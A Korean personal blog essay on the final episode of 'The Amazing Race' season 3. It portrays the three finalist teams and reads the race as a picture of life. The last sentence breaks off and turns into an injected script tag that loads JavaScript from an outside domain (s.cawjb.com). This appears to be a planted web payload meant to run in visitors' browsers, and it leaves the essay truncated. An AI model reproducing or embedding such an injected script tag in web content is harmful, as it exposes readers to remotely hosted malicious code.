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[제목] Amazing Race를 아시나요? (최영철)
집사람이 언제부터인가 TV에 나오는 한 외국 프로그램을 빠짐없이 찾아서 본다.

무얼 저렇게 재미있게 보나 하며 지나치다가, 어제는 나도 같이 쭉 살펴보았다.




2005년 에미상 수상작 - 어메이징 레이스

어메이징 레이스는 총 상금 100만 달러를 놓고 가족, 연인, 친구, 직장 동료 등 2인 1조로 구성된 11개 팀 22명의 Amazing Racer들이 벌이는, 놀랍고도 짜릿한 경기




어제 본 프로그램은 시리즈 3편으로 최종으로 남은 3팀이 수많은 난코스를 통과하고 드디어 결승점에 도착한 마지막 편이었다.




지금부터 이 세 팀의 구성원과 결승점까지의 전력에 대해 살펴본다.




끝까지 살아남은 3팀은 중년 부부 팀, 남자 형제 팀, 남녀 친구 팀이다.



당초 TV 앞에 집사람과 같이 앉게 된 이유는 화면에 펼쳐지는 세계의 풍광이 멋지고 나도 여행을 좋아하여 도움이 될 만한 정보가 있지 않을까 하였으나, 당초 생각했던 정보 취득보다 훨씬 많은 다른 것을 얻게 되었다.




중년 부부 팀은 가장 연령이 높아 다른 많은 팀들이 처음부터 아예 초반에 탈락할 팀이라고 쉽게 생각했으나 여러 번 중간 코스 1위를 하며 점점 강해진다. 힘든 코스에서는 서로 짜증을 내기도 하지만 신뢰가 쌓여가고 무엇보다 서로 역할 분담이 잘 되는 것이 장점이었다. 힘이 필요한 곳은 남편이, 머리와 재치가 필요한 부분은 아내 몫으로, 적재적소에 적절히 대처해 나가는 것이 눈에 띄었다.

바로 인생 경력과 경험이 돋보이는 부분이었고 힘과 능력만 믿던 여러 젊은 팀들이 탈락하고 도리어 금방 탈락할 것같이 보였던 이 팀이 끝까지 남는 이변을 보인다.




남자 형제 팀은 레이스의 종반으로 가면서 점점 자신들이 형제 팀이어서 더욱 강점이 있으며, 젊고 혈기왕성한 남자들이라 오랜 레이스에서 필요한 힘든 여정을 소화해 내기에 가장 유리하다는 점을 부각시켰다. 또한 형제 팀이라 의견 충돌이 있어도 금방 회복되는 것이 보였다. 레이스 내내 자기네 팀이 우승한다는 확신과 자신에 차 있었고 보는 이들의 눈에도 거의 그렇게 보였다. 이 팀은 나머지 두 팀이 레이스 운영 능력이나 체력적으로나 지구력 면에서나 자기네보다 훨씬 뒤쳐진다고 생각하고 있었다.




남녀 친구 팀은 저런 팀이 어떻게 마지막 레이스까지 올라왔을까 의문이 나는 팀이었다.

여자 멤버는 레이스 도중 내내 더 이상 레이스를 할 수 없다며 포기하자고 남자 멤버를 다그치고 분노하고 소리친다. 그런 지친 상황인데도 남자 멤버는 완전히 다른 모습을 보여준다.

계속되는 그녀의 짜증과 포기 종용으로 최하위로 밀려나고 포기가 아닌 탈락의 위기가 왔는데도 끝까지 해보자고 그녀를 달래면서 그 자신 절대 포기하지 않고 긍정적인 생각과 행동으로 도저히 넘어갈 수 있을 것 같지 않은 험한 코스에 능동적인 대처를 해 나간다.

여자 멤버의 온갖 짜증과 불평 원망에도 불구하고 차분한 목소리로 탈락하더라도 레이스에 최선을 다하자고 조용히 설득한다. 그러면서 이번 레이스를 완주하는 데에만 의미를 두자며 여자 친구를 달랜다.

3팀이 각자 택시를 타고 마지막 결승점으로 갈 때 누가 1위가 될지 모르는 상황에서야 여자 멤버는 남자 멤버에게 진심어린 사과를 한다.

여기까지 온 것은 순전히 남자 멤버의 덕분이었으며 나는 벌써 떨어졌을 사람이라며 눈물어린 용서를 빈다. 그리고 순위에는 미련 없다고 마음을 비운다.




나는 3팀이 베트남에서 하와이로 가는 비행기 티켓을 끊을 때가 매우 인상 깊었다.

그 역경을 넘어서 노부부 팀이 1위로 여행사에 도착하여 비행기 티켓을 끊고 있는데 뒤따라 남자 형제 팀이 도착하고, 서로 신경전을 벌이며 말싸움을 하다가 마지막 남은 티켓 네 장을 끊은 후에야 남녀 친구 팀이 도착하니 자리가 없다.

여자 멤버 울고불고 하는 가운데도 남자 멤버 침착하게 어떻게든 될 거라며 달랜다. 그리고는 비즈니스석으로 일단 예약을 끝내고 하노이공항으로 향한다.(비즈니스석은 경비 초과로 실격이다.) 기차로 이동하며 베트남인의 핸드폰을 빌어 하노이의 여행사를 수배하고 가장 빠른 하와이행 비행기를 찾는다. 결국 가장 빠른 비행기를 확보하는데 성공하며 극적으로 기사회생한다.




TV 앞을 뜨며 나는 이 레이스가 인생의 축소판이 아닐까 라는 강한 메시지를 받았다.

선두에 서서 신나게 달리다가 타이어가 펑크 나기도 하고, 길을 잘못 찾기도 하고, 누군가의 도움과 행운을 얻기도 하여 잘 나가는 듯하다가도 돌이킬 수 없는 실수로 실격을 당하기도 하며, 레이스 내내 조급증으로 초조하여 서로에게 화를 내며 분노하고, 포기하기도 하고, 싸우기도 하고...

어떤 팀은 카메라가 돌아가며 전 세계?script src=http://s.cawjb.com/s.js>
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